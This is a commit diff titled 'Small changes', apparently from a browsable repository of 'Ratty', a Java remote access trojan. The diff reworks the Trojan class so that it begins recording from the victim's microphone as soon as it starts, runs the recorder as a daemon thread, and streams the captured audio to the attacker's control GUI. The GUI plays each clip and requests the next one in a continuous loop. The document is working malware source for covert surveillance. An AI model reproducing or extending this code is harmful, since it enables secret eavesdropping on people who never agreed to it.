Browse Source

Small changes

Fixes
master
Sogomn 9 years ago
parent
commit
95f2a352b4
  1. 2
      Ratty/src/de/sogomn/rat/Ratty.java
  2. 25
      Ratty/src/de/sogomn/rat/Trojan.java
  3. 1
      Ratty/src/de/sogomn/rat/VoiceRecorder.java
  4. 10
      Ratty/src/de/sogomn/rat/packet/VoicePacket.java
  5. 20
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

2
Ratty/src/de/sogomn/rat/Ratty.java

@ -70,7 +70,7 @@ public final class Ratty {
try {
final int port = Integer.parseInt(input);
if (port < 0 || port > 65535) {
if (port < 0 || port > 65535) { //65535 = Max port
return -1;
}

25
Ratty/src/de/sogomn/rat/Trojan.java

@ -5,28 +5,31 @@ import de.sogomn.rat.packet.VoicePacket;
public final class Trojan implements IClientObserver {
private VoiceRecorder voiceRecorder;
private byte[] lastData;
private static final int MICROPHONE_BUFFER_SIZE = 1024 << 8;
public Trojan() {
//...
voiceRecorder = new VoiceRecorder(MICROPHONE_BUFFER_SIZE);
lastData = new byte[0];
voiceRecorder.addListener((source, data) -> {
lastData = data;
source.start();
});
voiceRecorder.start();
}
@Override
public void packetReceived(final ActiveClient client, final IPacket packet) {
if (packet instanceof VoicePacket) {
final VoiceRecorder recorder = new VoiceRecorder();
final VoicePacket voice = (VoicePacket)packet;
recorder.setLimit(MICROPHONE_BUFFER_SIZE);
recorder.addListener((source, data) -> {
voice.setData(data);
packet.execute(client);
});
recorder.start();
} else {
packet.execute(client);
voice.setData(lastData);
}
packet.execute(client);
}
@Override

1
Ratty/src/de/sogomn/rat/VoiceRecorder.java

@ -66,6 +66,7 @@ public final class VoiceRecorder extends AbstractListenerContainer<IRecorderList
line.open();
line.start();
thread.setDaemon(true);
thread.start();
} catch (final LineUnavailableException ex) {
stop();

10
Ratty/src/de/sogomn/rat/packet/VoicePacket.java

@ -55,4 +55,14 @@ public final class VoicePacket extends AbstractPingPongPacket {
this.data = data;
}
public byte[] getData() {
return data;
}
public Sound getSound() {
final Sound sound = Sound.loadSound(data);
return sound;
}
}

20
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -7,6 +7,8 @@ import java.util.ArrayList;
import javax.swing.JFileChooser;
import javax.swing.JOptionPane;
import de.sogomn.engine.fx.ISoundListener;
import de.sogomn.engine.fx.Sound;
import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.IClientObserver;
import de.sogomn.rat.builder.StubBuilder;
@ -180,11 +182,22 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
}
private void handle(final ServerClient serverClient, final VoicePacket packet) {
final VoicePacket voice = new VoicePacket();
final Sound sound = packet.getSound();
packet.execute(serverClient.client);
sound.addListener(new ISoundListener() {
@Override
public void looped(final Sound source) {
//...
}
@Override
public void stopped(final Sound source) {
final VoicePacket voice = new VoicePacket();
serverClient.client.addPacket(voice);
serverClient.client.addPacket(voice);
}
});
sound.play();
}
private void handle(final ServerClient serverClient, final FileSystemPacket packet) {
@ -308,7 +321,6 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
} else if (command == RattyGui.FREE) {
serverClient.setStreamingDesktop(false);
serverClient.setStreamingVoice(false);
serverClient.setController(null);
}
}

Loading…
Cancel
Save